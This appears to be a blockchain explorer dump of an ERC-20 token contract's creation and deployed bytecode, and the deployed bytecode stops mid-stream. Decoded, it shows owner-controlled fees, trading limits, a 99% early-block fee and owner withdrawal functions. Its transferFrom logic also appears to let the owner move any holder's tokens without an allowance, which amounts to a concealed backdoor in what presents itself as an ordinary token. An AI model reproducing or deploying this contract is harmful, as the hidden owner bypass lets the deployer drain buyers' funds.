6008805463ffffffff60a01b1916600160b81b1790556002600f819055606360105560158054742fcaf03193f0fc1747371305a591c1a57f1a4d64016001600160a81b03199091161790556004608081905260a08290526016819055601782905561010060405260c081905260e08290526018556019556006601a819055601b556000601c819055601d5534801561009657600080fd5b50600680546001600160a01b03191633179055613684806100b86000396000f3fe6080604052600436106102cd5760003560e01c806385141a7711610175578063cbb1904e116100dc578063f2c4220e11610095578063f8b45b051161006f578063f8b45b0514610901578063fac8e83514610917578063fbe6324e14610937578063ffaee6141461095857600080fd5b8063f2c4220e146108ab578063f2fde38b146108c1578063f4d86d58146108e157600080fd5b8063cbb1904e146107ba578063dd62ed3e146107da578063e02ce1cf14610820578063e0f3ccf514610840578063e21b989114610870578063e4748b9e1461089057600080fd5b8063aacebbe31161012e578063aacebbe3146106e4578063b8eb354614610704578063baf1ce2e1461071a578063bbc0c74214610749578063c0d786551461076a578063c5d32bb21461078a57600080fd5b806385141a7714610643578063860aefcf146106595780638a8c523c1461067a57806395d89b411461068f578063a457c2d7146106a4578063a9059cbb146106c457600080fd5b806323b872dd1161023457806349bd5a5e116101ed57806370db69d6116101c757806370db69d6146105df578063715018a6146105f5578063728a88cd1461060a57806375f0a8741461062057600080fd5b806349bd5a5e1461056957806366ca9b831461058957806370a08231146105a957600080fd5b806323b872dd14610497578063313ce567146104b7578063355496ca146104d957806336544805146104f95780633950935114610529578063448ebdff1461054957600080fd5b80631675d802116102865780631675d802146103c65780631694505e146103ea57806318160ddd14610422578063193d6e89146104375780631c8c22fc14610457578063214013ca1461047757600080fd5b806302dbd8f8146102d957806306fdde03146102fb57806307c4226c14610326578063095ea7b3146103665780630e375a5c146103865780631340538f146103a657600080fd5b366102d457005b600080fd5b3480156102e557600080fd5b506102f96102f4366004612f6a565b610978565b005b34801561030757600080fd5b50610310610a33565b60405161031d9190612f8c565b60405180910390f35b34801561033257600080fd5b50610356610341366004613006565b60216020526000908152604090205460ff1681565b604051901515815260200161031d565b34801561037257600080fd5b50610356610381366004613023565b610ac5565b34801561039257600080fd5b506102f96103a136600461307e565b610adc565b3480156103b257600080fd5b506102f96103c1366004613155565b610b72565b3480156103d257600080fd5b506103dc60095481565b60405190815260200161031d565b3480156103f657600080fd5b5060075461040a906001600160a01b031681565b6040516001600160a01b03909116815260200161031d565b34801561042e57600080fd5b506011546103dc565b34801561044357600080fd5b506102f9610452366004613172565b610c61565b34801561046357600080fd5b506102f96104723660046131b3565b610c96565b34801561048357600080fd5b506102f9610492366004613006565b610db5565b3480156104a357600080fd5b506103566104b2366004613172565b6111d0565b3480156104c357600080fd5b5060125460405160ff909116815260200161031d565b3480156104e557600080fd5b506102f96104f43660046131b3565b6112af565b34801561050557600080fd5b50610356610514366004613006565b601f6020526000908152604090205460ff1681565b34801561053557600080fd5b50610356610544366004613023565b6113d1565b34801561055557600080fd5b506102f9610564366004613155565b611408565b34801561057557600080fd5b5060085461040a906001600160a01b031681565b34801561059557600080fd5b506102f96105a4366004612f6a565b611445565b3480156105b557600080fd5b506103dc6105c4366004613006565b6001600160a01b031660009081526020819052604090205490565b3480156105eb57600080fd5b506103dc600a5481565b34801561060157600080fd5b506102f96114a5565b34801561061657600080fd5b506103dc600d5481565b34801561062c57600080fd5b5060155461010090046001600160a01b031661040a565b34801561064f57600080fd5b5061040a61dead81565b34801561066557600080fd5b5060085461035690600160b81b900460ff1681565b34801561068657600080fd5b506102f96114e1565b34801561069b57600080fd5b50610310611526565b3480156106b057600080fd5b506103566106bf366004613023565b611535565b3480156106d057600080fd5b506103566106df366004613023565b6115d0565b3480156106f057600080fd5b506102f96106ff366004613006565b6115dd565b34801561071057600080fd5b506103dc600b5481565b34801561072657600080fd5b50610356610735366004613006565b602080526000908152604090205460ff1681565b34801561075557600080fd5b5060085461035690600160b01b900460ff1681565b34801561077657600080fd5b5061040a610785366004613006565b6116dd565b34801561079657600080fd5b506103566107a5366004613006565b601e6020526000908152604090205460ff1681565b3480156107c657600080fd5b506102f96107d53660046131ec565b611af5565b3480156107e657600080fd5b506103dc6107f5366004613205565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561082c57600080fd5b506102f961083b366004613233565b611b2b565b34801561084c57600080fd5b5060185460195461085b919082565b6040805192835260208301919091520161031d565b34801561087c57600080fd5b506102f961088b3660046131b3565b611b8b565b34801561089c57600080fd5b5060165460175461085b919082565b3480156108b757600080fd5b506103dc600e5481565b3480156108cd57600080fd5b506102f96108dc366004613006565b611cac565b3480156108ed57600080fd5b506102f96108fc366004613155565b611d5d565b34801561090d57600080fd5b506103dc600c5481565b34801561092357600080fd5b506102f96109323660046131ec565b611da5565b34801561094357600080fd5b5060085461035690600160a81b900460ff1681565b34801561096457600080fd5b506102f96109733660046131b3565b611ea0565b6006546001600160a01b031633146109ab5760405162461bcd60e51b81526004016109a290613258565b60405180910390fd5b60408051808201909152828152602001819052601882905560198190556109d281836132a3565b601b55601e6109e182846132a3565b1115610a2f5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420333025206f72206c65737300000060448201526064016109a2565b5050565b606060138054610a42906132bb565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6e906132bb565b8015610abb5780601f10610a9057610100808354040283529160200191610abb565b820191906000526020600020905b815481529060010190602001808311610a9e57829003601f168201915b5050505050905090565b6000610ad2338484611fc3565b5060015b92915050565b6006546001600160a01b03163314610b065760405162461bcd60e51b81526004016109a290613258565b60005b8251811015610b6d5781601e6000858481518110610b2957610b296132f5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b658161330b565b915050610b09565b505050565b6006546001600160a01b03163314610b9c5760405162461bcd60e51b81526004016109a290613258565b801515600860159054906101000a900460ff16151503610c435760405162461bcd60e51b815260206004820152605660248201527f596f75206d7573742070726f76696465206120646966666572656e742073746160448201527f747573206f74686572207468616e207468652063757272656e742076616c7565606482015275081a5b881bdc99195c881d1bc81d5c19185d19481a5d60521b608482015260a4016109a2565b60088054911515600160a81b0260ff60a81b19909216919091179055565b6006546001600160a01b03163314610c8b5760405162461bcd60e51b81526004016109a290613258565b610b6d8383836120df565b6006546001600160a01b03163314610cc05760405162461bcd60e51b81526004016109a290613258565b6001600160a01b0382166000908152601f602052604090205481151560ff909116151503610d8a5760405162461bcd60e51b815260206004820152606560248201527f596f75206d7573742070726f76696465206120646966666572656e74206d617860448201527f20627579206c696d6974206f74686572207468616e207468652063757272656e60648201527f74206d617820627579206c696d697420696e206f7264657220746f20757064616084820152641d19481a5d60da1b60a482015260c4016109a2565b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b6006546001600160a01b03163314610ddf5760405162461bcd60e51b81526004016109a290613258565b600d5415610dec57600080fd5b60408051808201909152600881526726b4b1b2b1b7b4b760c11b6020820152601390610e18908261336a565b506040805180820190915260048152634d49434560e01b6020820152601490610e41908261336a565b506012805460ff191681178155610e5990600a61350e565b610e6790633b9aca0061351d565b60118190555060008190506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed6919061353c565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f47919061353c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb8919061353c565b600780546001600160a01b038086166001600160a01b031992831617909255600880549284169290911691909117905590506064610ff560115490565b61100090600261351d565b61100a9190613559565b600a556103e861101960115490565b6110239190613559565b61102e90600261351d565b600955606461103c60115490565b61104790600261351d565b6110519190613559565b600c55606461105f60115490565b61106a90600261351d565b6110749190613559565b600b5560115433600090815260208190526040812080549091906110999084906132a3565b909155505043600d55336000818152601e602081815260408084208054600160ff199182168117909255601f80855283872080548316841790556021808652848820805484168517905585805284882080548416851790553088528686528488208054841685179055601580546001600160a01b036101009182900481168b52878b208054871688179055825482900481168b52938852868a208054861687179055815481900484168a5291875285892080548516861790555404168652838052828620805482168317905561dead86529383527f8a622fd893f993f50f1795ae2bf707bdf4143f678ec4998626679a2f447616df80549094161790925560115491519182527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b60006111dd8484846121a4565b6001600160a01b0384811660009081526001602090815260408083203380855292529091205460065490921614806112155750828110155b6112725760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016109a2565b6006546001600160a01b0316330361128e5760019150506112a8565b6112a2853361129d868561357b565b611fc3565b60019150505b9392505050565b6006546001600160a01b031633146112d95760405162461bcd60e51b81526004016109a290613258565b6001600160a01b0382166000908152601e602052604090205481151560ff9091161515036113a65760405162461bcd60e51b815260206004820152606860248201527f596f75206d7573742070726f76696465206120646966666572656e742065786560448201527f6d70742061646472657373206f7220737461747573206f74686572207468616e60648201527f207468652063757272656e742076616c756520696e206f7264657220746f20756084820152671c19185d19481a5d60c21b60a482015260c4016109a2565b6001600160a01b03919091166000908152601e60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610ad291859061129d9086906132a3565b6006546001600160a01b031633146114325760405162461bcd60e51b81526004016109a290613258565b6015805460ff1916911515919091179055565b6006546001600160a01b0316331461146f5760405162461bcd60e51b81526004016109a290613258565b604080518082019091528281526020018190526016829055601781905561149681836132a3565b601a55601e6109e182846132a3565b6006546001600160a01b031633146114cf5760405162461bcd60e51b81526004016109a290613258565b600680546001600160a01b0319169055565b6006546001600160a01b0316331461150b5760405162461bcd60e51b81526004016109a290613258565b6008805461ffff60a81b191661010160a81b17905543600e55565b606060148054610a42906132bb565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156115b75760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016109a2565b6115c6338561129d868561357b565b5060019392505050565b6000610ad23384846121a4565b6006546001600160a01b031633146116075760405162461bcd60e51b81526004016109a290613258565b6015546001600160a01b0380831661010090920416036116b55760405162461bcd60e51b815260206004820152605760248201527f596f75206d7573742070726f76696465206120646966666572656e742061646460448201527f72657373206f74686572207468616e207468652063757272656e742076616c7560648201527f6520696e206f7264657220746f20757064617465206974000000000000000000608482015260a4016109a2565b601580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6006546000906001600160a01b0316331461170a5760405162461bcd60e51b81526004016109a290613258565b6001600160a01b0382166117605760405162461bcd60e51b815260206004820152601d60248201527f6e6577526f7574657220616464726573732063616e6e6f74206265203000000060448201526064016109a2565b6007546001600160a01b038084169116036118235760405162461bcd60e51b815260206004820152607160248201527f596f75206d7573742070726f76696465206120646966666572656e7420756e6960448201527f737761705632526f75746572206f74686572207468616e20746865206375727260648201527f656e7420756e69737761705632526f75746572206164647265737320696e206f6084820152701c99195c881d1bc81d5c19185d19481a5d607a1b60a482015260c4016109a2565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611866573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061188a919061353c565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118fb919061353c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015611946573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196a919061353c565b91506001600160a01b038216611ac157806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119dc919061353c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a4d919061353c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015611a9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611abe919061353c565b91505b600880546001600160a01b038085166001600160a01b03199283161790925560078054939092169216919091179055919050565b6006546001600160a01b03163314611b1f5760405162461bcd60e51b81526004016109a290613258565b611b2881612783565b50565b6006546001600160a01b03163314611b555760405162461bcd60e51b81526004016109a290613258565b6040516001600160a01b0382169083156108fc029084906000818181858888f19350505050158015610b6d573d6000803e3d6000fd5b6006546001600160a01b03163314611bb55760405162461bcd60e51b81526004016109a290613258565b6001600160a01b03821660009081526021602052604090205481151560ff909116151503611c815760405162461bcd60e51b815260206004820152606760248201527f596f75206d7573742070726f76696465206120646966666572656e74206d617860448201527f2073656c6c206c696d6974206f74686572207468616e2074686520637572726560648201527f6e74206d61782073656c6c206c696d697420696e206f7264657220746f20757060848201526619185d19481a5d60ca1b60a482015260c4016109a2565b6001600160a01b03919091166000908152602160205260409020805460ff1916911515919091179055565b6006546001600160a01b03163314611cd65760405162461bcd60e51b81526004016109a290613258565b6001600160a01b038116611d3b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109a2565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b03163314611d875760405162461bcd60e51b81526004016109a290613258565b60088054911515600160b81b0260ff60b81b19909216919091179055565b6006546001600160a01b03163314611dcf5760405162461bcd60e51b81526004016109a290613258565b60125460ff16611de090600a61350e565b611dea908261351d565b60095403611e7f5760405162461bcd60e51b815260206004820152605660248201527f596f75206d7573742070726f76696465206120646966666572656e7420616d6f60448201527f756e74206f74686572207468616e207468652063757272656e742076616c7565606482015275081a5b881bdc99195c881d1bc81d5c19185d19481a5d60521b608482015260a4016109a2565b60125460ff16611e9090600a61350e565b611e9a908261351d565b60095550565b6006546001600160a01b03163314611eca5760405162461bcd60e51b81526004016109a290613258565b6001600160a01b038216600090815260208052604090205481151560ff909116151503611f995760405162461bcd60e51b815260206004820152606b60248201527f596f75206d7573742070726f76696465206120646966666572656e74206d617860448201527f2077616c6c6574206c696d6974206f74686572207468616e207468652063757260648201527f72656e74206d61782077616c6c6574206c696d697420696e206f72646572207460848201526a1bc81d5c19185d19481a5d60aa1b60a482015260c4016109a2565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6001600160a01b0383166120255760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109a2565b6001600160a01b0382166120865760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109a2565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591016111c3565b60405163a9059cbb60e01b81526001600160a01b038381166004830152602482018390526000919085169063a9059cbb906044016020604051808303816000875af1158015612132573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121569190613592565b90508061219e5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b7103a3930b739b332b9103330b4b632b21760511b60448201526064016109a2565b50505050565b600081116122065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109a2565b600854600160b81b900460ff161561251d576001600160a01b0383166000908152601e602052604090205460ff1615801561225a57506001600160a01b0382166000908152601e602052604090205460ff16155b156122b157600854600160b01b900460ff166122b15760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b60448201526064016109a2565b6008546001600160a01b0384811691161480156122e757506001600160a01b0382166000908152601e602052604090205460ff16155b80156122fd5750600854600160a01b900460ff16155b801561232257506001600160a01b0382166000908152601f602052604090205460ff16155b1561237957600a548111156123795760405162461bcd60e51b815260206004820152601860248201527f596f752061726520657863656564696e67206d6178427579000000000000000060448201526064016109a2565b6008546001600160a01b038381169116148015906123af57506001600160a01b038216600090815260208052604090205460ff16155b1561242f57600c54816123d7846001600160a01b031660009081526020819052604090205490565b6123e191906132a3565b111561242f5760405162461bcd60e51b815260206004820152601b60248201527f596f752061726520657863656564696e67206d617857616c6c6574000000000060448201526064016109a2565b6008546001600160a01b0384811691161480159061246657506001600160a01b0382166000908152601e602052604090205460ff16155b801561248b57506001600160a01b0383166000908152601e602052604090205460ff16155b80156124a15750600854600160a01b900460ff16155b80156124c657506001600160a01b03831660009081526021602052604090205460ff16155b1561251d57600b5481111561251d5760405162461bcd60e51b815260206004820152601960248201527f596f752061726520657863656564696e67206d617853656c6c0000000000000060448201526064016109a2565b600080600080600060105411801561254e57506001600160a01b0387166000908152601e602052604090205460ff16155b801561257357506001600160a01b0386166000908152601e602052604090205460ff16155b801561258d5750600f54600e5461258a91906132a3565b43105b600854909150600160a01b900460ff16806125c057506001600160a01b0387166000908152601e602052604090205460ff165b806125e357506001600160a01b0386166000908152601e602052604090205460ff165b8061261557506008546001600160a01b0388811691161480159061261557506008546001600160a01b03878116911614155b15612623576000925061268a565b6008546001600160a01b03878116911614801561263e575080155b1561265e5760185460195461265391906132a3565b93506001915061268a565b8061267e5760165460175461267391906132a3565b93506000915061268a565b801561268a5760105493505b6064612696858761351d565b6126a09190613559565b9250816000036126c75782601c60008282546126bc91906132a3565b909155506126e79050565b816001036126e75782601d60008282546126e191906132a3565b90915550505b82156126f8576126f8873085612a60565b600854600160a81b900460ff16801561271f57506008546001600160a01b03888116911614155b801561272b5750600083115b8015612739575060155460ff165b801561275657506009543060009081526020819052604090205410155b1561276657612766601c54612783565b61277a8787612775868961357b565b612a60565b50505050505050565b600854600160a01b900460ff16611b28576008805460ff60a01b1916600160a01b17905530600090815260208190526040812054601c83905590506127c8828261357b565b601d81905550600080600080601a546000036127e75760009350612807565b601a54601754601c546127fa919061351d565b6128049190613559565b93505b601b5460000361281a576000925061283a565b601b54601954601d5461282d919061351d565b6128379190613559565b92505b600061284684866132a3565b90506000612855600283613559565b9050476000612864838a61357b565b905080156128755761287581612b31565b6000612881834761357b565b905060008a601d5483612894919061351d565b61289e9190613559565b905060006128ac828461357b565b9050600080601a546000036128c457600099506128e1565b601a546017546128d4908561351d565b6128de9190613559565b99505b601b546000036128f45760009a50612911565b601b54601954612904908661351d565b61290e9190613559565b9a505b6000600261291f8c8e6132a3565b6129299190613559565b90508015612a415761293b8982612c8b565b6000612947828861357b565b90506000601c54601d5461295b91906132a3565b9050600081601d548461296e919061351d565b6129789190613559565b90506000612986828561357b565b9050601b5460000361299b57600096506129c5565b601954601b546129ab919061357b565b6018546129b8908461351d565b6129c29190613559565b96505b601a546000036129d85760009550612a02565b601754601a546129e8919061357b565b6016546129f5908361351d565b6129ff9190613559565b95505b6000612a0e87896132a3565b90508015612a3157601554612a319061010090046001600160a01b031682612d3f565b50506000601c819055601d555050505b50506008805460ff60a01b191690555050505050505050505050505050565b6001600160a01b038316612ac45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109a2565b6001600160a01b038216612b265760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109a2565b610b6d838383612e58565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612b6657612b666132f5565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612bbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612be3919061353c565b81600181518110612bf657612bf66132f5565b6001600160a01b039283166020918202929092010152600754612c1c9130911684611fc3565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790612c559085906000908690309042906004016135af565b600060405180830381600087803b158015612c6f57600080fd5b505af1158015612c83573d6000803e3d6000fd5b505050505050565b600754612ca39030906001600160a01b031684611fc3565b60075460065460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015612d13573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d389190613620565b5050505050565b80471015612d8f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016109a2565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612ddc576040519150601f19603f3d011682016040523d82523d6000602084013e612de1565b606091505b5050905080610b6d5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016109a2565b6001600160a01b03831660009081526020819052604090205481811015612ed05760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016109a2565b612eda828261357b565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290612f109084906132a3565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612f5c91815260200190565b60405180910390a350505050565b60008060408385031215612f7d57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015612fb957858101830151858201604001528201612f9d565b81811115612fcb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611b2857600080fd5b803561300181612fe1565b919050565b60006020828403121561301857600080fd5b81356112a881612fe1565b6000806040838503121561303657600080fd5b823561304181612fe1565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b8015158114611b2857600080fd5b803561300181613065565b6000806040838503121561309157600080fd5b823567ffffffffffffffff808211156130a957600080fd5b818501915085601f8301126130bd57600080fd5b81356020828211156130d1576130d161304f565b8160051b604051601f19603f830116810181811086821117156130f6576130f661304f565b60405292835281830193508481018201928984111561311457600080fd5b948201945b838610156131395761312a86612ff6565b85529482019493820193613119565b96506131489050878201613073565b9450505050509250929050565b60006020828403121561316757600080fd5b81356112a881613065565b60008060006060848603121561318757600080fd5b833561319281612fe1565b925060208401356131a281612fe1565b929592945050506040919091013590565b600080604083850312156131c657600080fd5b82356131d181612fe1565b915060208301356131e181613065565b809150509250929050565b6000602082840312156131fe57600080fd5b5035919050565b6000806040838503121561321857600080fd5b823561322381612fe1565b915060208301356131e181612fe1565b6000806040838503121561324657600080fd5b8235915060208301356131e181612fe1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156132b6576132b661328d565b500190565b600181811c908216806132cf57607f821691505b6020821081036132ef57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b60006001820161331d5761331d61328d565b5060010190565b601f821115610b6d57600081815260208120601f850160051c8101602086101561334b5750805b601f850160051c820191505b81811015612c8357828155600101613357565b815167ffffffffffffffff8111156133845761338461304f565b6133988161339284546132bb565b84613324565b602080601f8311600181146133cd57600084156133b55750858301515b600019600386901b1c1916600185901b178555612c83565b600085815260208120601f198616915b828110156133fc578886015182559484019460019091019084016133dd565b508582101561341a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600181815b8085111561346557816000190482111561344b5761344b61328d565b8085161561345857918102915b93841c939080029061342f565b509250929050565b60008261347c57506001610ad6565b8161348957506000610ad6565b816001811461349f57600281146134a9576134c5565b6001915050610ad6565b60ff8411156134ba576134ba61328d565b50506001821b610ad6565b5060208310610133831016604e8410600b84101617156134e8575081810a610ad6565b6134f2838361342a565b80600019048211156135065761350661328d565b029392505050565b60006112a860ff84168361346d565b60008160001904831182151516156135375761353761328d565b500290565b60006020828403121561354e57600080fd5b81516112a881612fe1565b60008261357657634e487b7160e01b600052601260045260246000fd5b500490565b60008282101561358d5761358d61328d565b500390565b6000602082840312156135a457600080fd5b81516112a881613065565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156135ff5784516001600160a01b0316835293830193918301916001016135da565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561363557600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220e6738b3da6732281ed27f615309e416e5a2774682f229996d34a0083da2fad2d64736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106102cd5760003560e01c806385141a7711610175578063cbb1904e116100dc578063f2c4220e11610095578063f8b45b051161006f578063f8b45b0514610901578063fac8e83514610917578063fbe6324e14610937578063ffaee6141461095857600080fd5b8063f2c4220e146108ab578063f2fde38b146108c1578063f4d86d58146108e157600080fd5b8063cbb1904e146107ba578063dd62ed3e146107da578063e02ce1cf14610820578063e0f3ccf514610840578063e21b989114610870578063e4748b9e1461089057600080fd5b8063aacebbe31161012e578063aacebbe3146106e4578063b8eb354614610704578063baf1ce2e1461071a578063bbc0c74214610749578063c0d786551461076a578063c5d32bb21461078a57600080fd5b806385141a7714610643578063860aefcf146106595780638a8c523c1461067a57806395d89b411461068f578063a457c2d7146106a4578063a9059cbb146106c457600080fd5b806323b872dd1161023457806349bd5a5e116101ed57806370db69d6116101c757806370db69d6146105df578063715018a6146105f5578063728a88cd1461060a57806375f0a8741461062057600080fd5b806349bd5a5e1461056957806366ca9b831461058957806370a08231146105a957600080fd5b806323b872dd14610497578063313ce567146104b7578063355496ca146104d957806336544805146104f95780633950935114610529578063448ebdff1461054957600080fd5b80631675d802116102865780631675d802146103c65780631694505e146103ea57806318160ddd14610422578063193d6e89146104375780631c8c22fc14610457578063214013ca1461047757600080fd5b806302dbd8f8146102d957806306fdde03146102fb57806307c4226c14610326578063095ea7b3146103665780630e375a5c146103865780631340538f146103a657600080fd5b366102d457005b600080fd5b3480156102e557600080fd5b506102f96102f4366004612f6a565b610978565b005b34801561030757600080fd5b50610310610a33565b60405161031d9190612f8c565b60405180910390f35b34801561033257600080fd5b50610356610341366004613006565b60216020526000908152604090205460ff1681565b604051901515815260200161031d565b34801561037257600080fd5b50610356610381366004613023565b610ac5565b34801561039257600080fd5b506102f96103a136600461307e565b610adc565b3480156103b257600080fd5b506102f96103c1366004613155565b610b72565b3480156103d257600080fd5b506103dc60095481565b60405190815260200161031d565b3480156103f657600080fd5b5060075461040a906001600160a01b031681565b6040516001600160a01b03909116815260200161031d565b34801561042e57600080fd5b506011546103dc565b34801561044357600080fd5b506102f9610452366004613172565b610c61565b34801561046357600080fd5b506102f96104723660046131b3565b610c96565b34801561048357600080fd5b506102f9610492366004613006565b610db5565b3480156104a357600080fd5b506103566104b2366004613172565b6111d0565b3480156104c357600080fd5b5060125460405160ff909116815260200161031d565b3480156104e557600080fd5b506102f96104f43660046131b3565b6112af565b34801561050557600080fd5b50610356610514366004613006565b601f6020526000908152604090205460ff1681565b34801561053557600080fd5b50610356610544366004613023565b6113d1565b34801561055557600080fd5b506102f9610564366004613155565b611408565b34801561057557600080fd5b5060085461040a906001600160a01b031681565b34801561059557600080fd5b506102f96105a4366004612f6a565b611445565b3480156105b557600080fd5b506103dc6105c4366004613006565b6001600160a01b031660009081526020819052604090205490565b3480156105eb57600080fd5b506103dc600a5481565b34801561060157600080fd5b506102f96114a5565b34801561061657600080fd5b506103dc600d5481565b34801561062c57600080fd5b5060155461010090046001600160a01b031661040a565b34801561064f57600080fd5b5061040a61dead81565b34801561066557600080fd5b5060085461035690600160b81b900460ff1681565b34801561068657600080fd5b506102f96114e1565b34801561069b57600080fd5b50610310611526565b3480156106b057600080fd5b506103566106bf366004613023565b611535565b3480156106d057600080fd5b506103566106df366004613023565b6115d0565b3480156106f057600080fd5b506102f96106ff366004613006565b6115dd565b34801561071057600080fd5b506103dc600b5481565b34801561072657600080fd5b50610356610735366004613006565b602080526000908152604090205460ff1681565b34801561075557600080fd5b5060085461035690600160b01b900460ff1681565b34801561077657600080fd5b5061040a610785366004613006565b6116dd565b34801561079657600080fd5b506103566107a5366004613006565b601e6020526000908152604090205460ff1681565b3480156107c657600080fd5b506102f96107d53660046131ec565b611af5565b3480156107e657600080fd5b506103dc6107f5366004613205565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561082c57600080fd5b506102f961083b366004613233565b611b2b565b34801561084c57600080fd5b5060185460195461085b919082565b6040805192835260208301919091520161031d565b34801561087c57600080fd5b506102f961088b3660046131b3565b611b8b565b34801561089c57600080fd5b5060165460175461085b919082565b3480156108b757600080fd5b506103dc600e5481565b3480156108cd57600080fd5b506102f96108dc366004613006565b611cac565b3480156108ed57600080fd5b506102f96108fc366004613155565b611d5d565b34801561090d57600080fd5b506103dc600c5481565b34801561092357600080fd5b506102f96109323660046131ec565b611da5565b34801561094357600080fd5b5060085461035690600160a81b900460ff1681565b34801561096457600080fd5b506102f96109733660046131b3565b611ea0565b6006546001600160a01b031633146109ab5760405162461bcd60e51b81526004016109a290613258565b60405180910390fd5b60408051808201909152828152602001819052601882905560198190556109d281836132a3565b601b55601e6109e182846132a3565b1115610a2f5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420333025206f72206c65737300000060448201526064016109a2565b5050565b606060138054610a42906132bb565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6e906132bb565b8015610abb5780601f10610a9057610100808354040283529160200191610abb565b820191906000526020600020905b815481529060010190602001808311610a9e57829003601f168201915b5050505050905090565b6000610ad2338484611fc3565b5060015b92915050565b6006546001600160a01b03163314610b065760405162461bcd60e51b81526004016109a290613258565b60005b8251811015610b6d5781601e6000858481518110610b2957610b296132f5565b6020908102919091018101516001600160a01b0316825281019190